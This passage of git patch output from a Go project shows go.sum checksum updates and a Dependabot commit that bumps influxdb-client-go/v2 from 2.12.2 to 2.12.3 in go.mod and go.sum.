h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw= @@ -931,6 +1302,9 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68= @@ -940,6 +1314,8 @@ golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxb golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20220922220347-f3bd1da661af/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.1.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -1015,6 +1391,8 @@ golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8T golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20220411194840-2f41105eb62f/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= +golang.org/x/xerrors v0.0.0-20220609144429-65e65417b02f/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= +golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= @@ -1044,7 +1422,6 @@ google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6 google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI= -google.golang.org/api v0.59.0/go.mod h1:sT2boj7M9YJxZzgeZqXogmhfmRWDtPzT31xkieUbuZU= google.golang.org/api v0.61.0/go.mod h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I= google.golang.org/api v0.63.0/go.mod h1:gs4ij2ffTRXwuzzgJl/56BdwJaA194ijkfn++9tDuPo= google.golang.org/api v0.67.0/go.mod h1:ShHKP8E60yPsKNw/w8w+VYaj9H6buA5UqDp8dhbQZ6g= @@ -1052,8 +1429,22 @@ google.golang.org/api v0.70.0/go.mod h1:Bs4ZM2HGifEvXwd50TtW70ovgJffJYw2oRCOFU/S google.golang.org/api v0.71.0/go.mod h1:4PyU6e6JogV1f9eA4voyrTY2batOLdgZ5qZ5HOCc4j8= google.golang.org/api v0.74.0/go.mod h1:ZpfMZOVRMywNyvJFeqL9HRWBgAuRfSjJFpe9QtRRyDs= google.golang.org/api v0.75.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= +google.golang.org/api v0.77.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= google.golang.org/api v0.78.0/go.mod h1:1Sg78yoMLOhlQTeF+ARBoytAcH1NNyyl390YMy6rKmw= -google.golang.org/api v0.81.0/go.mod h1:FA6Mb/bZxj706H2j+j2d6mHEEaHBmbbWnkfvmorOCko= +google.golang.org/api v0.80.0/go.mod h1:xY3nI94gbvBrE0J6NHXhxOmW97HG7Khjkku6AFB3Hyg= +google.golang.org/api v0.84.0/go.mod h1:NTsGnUFJMYROtiquksZHBWtHfeMC7iYthki7Eq3pa8o= +google.golang.org/api v0.85.0/go.mod h1:AqZf8Ep9uZ2pyTvgL+x0D3Zt0eoT9b5E8fmzfu6FO2g= +google.golang.org/api v0.90.0/go.mod h1:+Sem1dnrKlrXMR/X0bPnMWyluQe4RsNoYfmNLhOIkzw= +google.golang.org/api v0.93.0/go.mod h1:+Sem1dnrKlrXMR/X0bPnMWyluQe4RsNoYfmNLhOIkzw= +google.golang.org/api v0.95.0/go.mod h1:eADj+UBuxkh5zlrSntJghuNeg8HwQ1w5lTKkuqaETEI= +google.golang.org/api v0.96.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= +google.golang.org/api v0.97.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= +google.golang.org/api v0.98.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= +google.golang.org/api v0.99.0/go.mod h1:1YOf74vkVndF7pG6hIHuINsM7eWwpVTAfNMNiL91A08= +google.golang.org/api v0.100.0/go.mod h1:ZE3Z2+ZOr87Rx7dqFsdRQkRBk36kDtp/h+QpHbB7a70= +google.golang.org/api v0.102.0/go.mod h1:3VFl6/fzoA+qNuS1N1/VfXY4LjoXN/wzeIp7TweWwGo= +google.golang.org/api v0.103.0/go.mod h1:hGtW6nK1AC+d9si/UBhw8Xli+QMOf6xyNAyJw4qU9w0= +google.golang.org/api v0.107.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= @@ -1103,6 +1494,7 @@ google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6D google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210329143202-679c6ae281ee/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= @@ -1120,8 +1512,6 @@ google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEc google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= @@ -1138,9 +1528,43 @@ google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220502173005-c8bf987b8c21/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= -google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220518221133-4f43b3371335/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220523171625-347a074981d8/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220608133413-ed9918b62aac/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220616135557-88e70c0c3a90/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220617124728-180714bec0ad/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220624142145-8cd45d7dbd1f/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220628213854-d9e0b6570c03/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220722212130-b98a9ff5e252/go.mod h1:GkXuJDJ6aQ7lnJcRF+SJVgFdQhypqgl3LB1C9vabdRE= +google.golang.org/genproto v0.0.0-20220801145646-83ce21fca29f/go.mod h1:iHe1svFLAZg9VWz891+QbRMwUv9O/1Ww+/mngYeThbc= +google.golang.org/genproto v0.0.0-20220815135757-37a418bb8959/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220817144833-d7fd3f11b9b1/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220822174746-9e6da59bd2fc/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220829144015-23454907ede3/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220829175752-36a9c930ecbf/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220913154956-18f8339a66a5/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220914142337-ca0e39ece12f/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220915135415-7fd63a7952de/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220916172020-2692e8806bfa/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220919141832-68c03719ef51/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220920201722-2b89144ce006/go.mod h1:ht8XFiar2npT/g4vkk7O0WYS1sHOHbdujxbEp7CJWbw= +google.golang.org/genproto v0.0.0-20220926165614-551eb538f295/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= +google.golang.org/genproto v0.0.0-20220926220553-6981cbe3cfce/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= +google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e/go.mod h1:3526vdqwhZAwq4wsRUaVG555sVgsNmIjRtO7t/JH29U= +google.golang.org/genproto v0.0.0-20221014173430-6e2ab493f96b/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= +google.golang.org/genproto v0.0.0-20221014213838-99cd37c6964a/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= +google.golang.org/genproto v0.0.0-20221024153911-1573dae28c9c/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= +google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= +google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= +google.golang.org/genproto v0.0.0-20221114212237-e4508ebdbee1/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221117204609-8f9c96812029/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221118155620-16455021b5e6/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221201164419-0e50fba7f41c/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221202195650-67e5cbc046fd/go.mod h1:cTsE614GARnxrLsqKREzmNYJACSWWpAWdNMwnD7c2BE= +google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef h1:uQ2vjV/sHTsWSqdKeLqmwitzgvjMl7o4IdtHwUDXSJY= +google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1168,11 +1592,19 @@ google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnD google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= +google.golang.org/grpc v1.52.0 h1:kd48UiU7EHsV4rnLyOJRuP/Il/UHE7gdDAQ+SZI7nZk= +google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= @@ -1188,8 +1620,9 @@ google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlba google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= @@ -1199,9 +1632,8 @@ gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= -gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= From a0923d23db0194821df79017712d494a518b6083 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 31 Mar 2023 19:00:49 +0000 Subject: [PATCH 0436/1062] chore(deps): bump github.com/influxdata/influxdb-client-go/v2 Bumps [github.com/influxdata/influxdb-client-go/v2](https://github.com/influxdata/influxdb-client-go) from 2.12.2 to 2.12.3. - [Release notes](https://github.com/influxdata/influxdb-client-go/releases) - [Changelog](https://github.com/influxdata/influxdb-client-go/blob/master/CHANGELOG.md) - [Commits](https://github.com/influxdata/influxdb-client-go/compare/v2.12.2...v2.12.3) --- updated-dependencies: - dependency-name: github.com/influxdata/influxdb-client-go/v2 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- go.mod | 4 ++-- go.sum | 5 +++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/go.mod b/go.mod index bdc6c4f530..482f58b819 100644 --- a/go.mod +++ b/go.mod @@ -5,11 +5,12 @@ go 1.17 require ( github.com/fatih/color v1.13.0 github.com/gizak/termui/v3 v3.1.0 + github.com/gogo/protobuf v1.3.2 github.com/golang/protobuf v1.5.2 github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 - github.com/influxdata/influxdb-client-go/v2 v2.12.2 + github.com/influxdata/influxdb-client-go/v2 v2.12.3 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 github.com/lib/pq v1.10.7 @@ -59,7 +60,6 @@ require ( github.com/envoyproxy/protoc-gen-validate v0.3.0-java // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/ghodss/yaml v1.0.0 // indirect - github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b // indirect github.com/google/uuid v1.3.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect diff --git a/go.sum b/go.sum index 93967dba39..a1345250d0 100644 --- a/go.sum +++ b/go.sum @@ -669,8 +669,8 @@ github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/influxdata/influxdb-client-go/v2 v2.12.2 h1:uYABKdrEKlYm+++qfKdbgaHKBPmoWR5wpbmj6MBB/2g= -github.com/influxdata/influxdb-client-go/v2 v2.12.2/go.mod h1:YteV91FiQxRdccyJ2cHvj2f/5sq4y4Njqu1fQzsQCOU= +github.com/influxdata/influxdb-client-go/v2 v2.12.3 h1:28nRlNMRIV4QbtIUvxhWqaxn0IpXeMSkY/uJa/O/vC4= +github.com/influxdata/influxdb-client-go/v2 v2.12.3/go.mod h1:IrrLUbCjjfkmRuaCiGQg4m2GbkaeJDcuWoxiWdQEbA0= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= @@ -1146,6 +1146,7 @@ golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfS golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= From 3feef62d7435d10a4eb4089c393d827e4eed5526 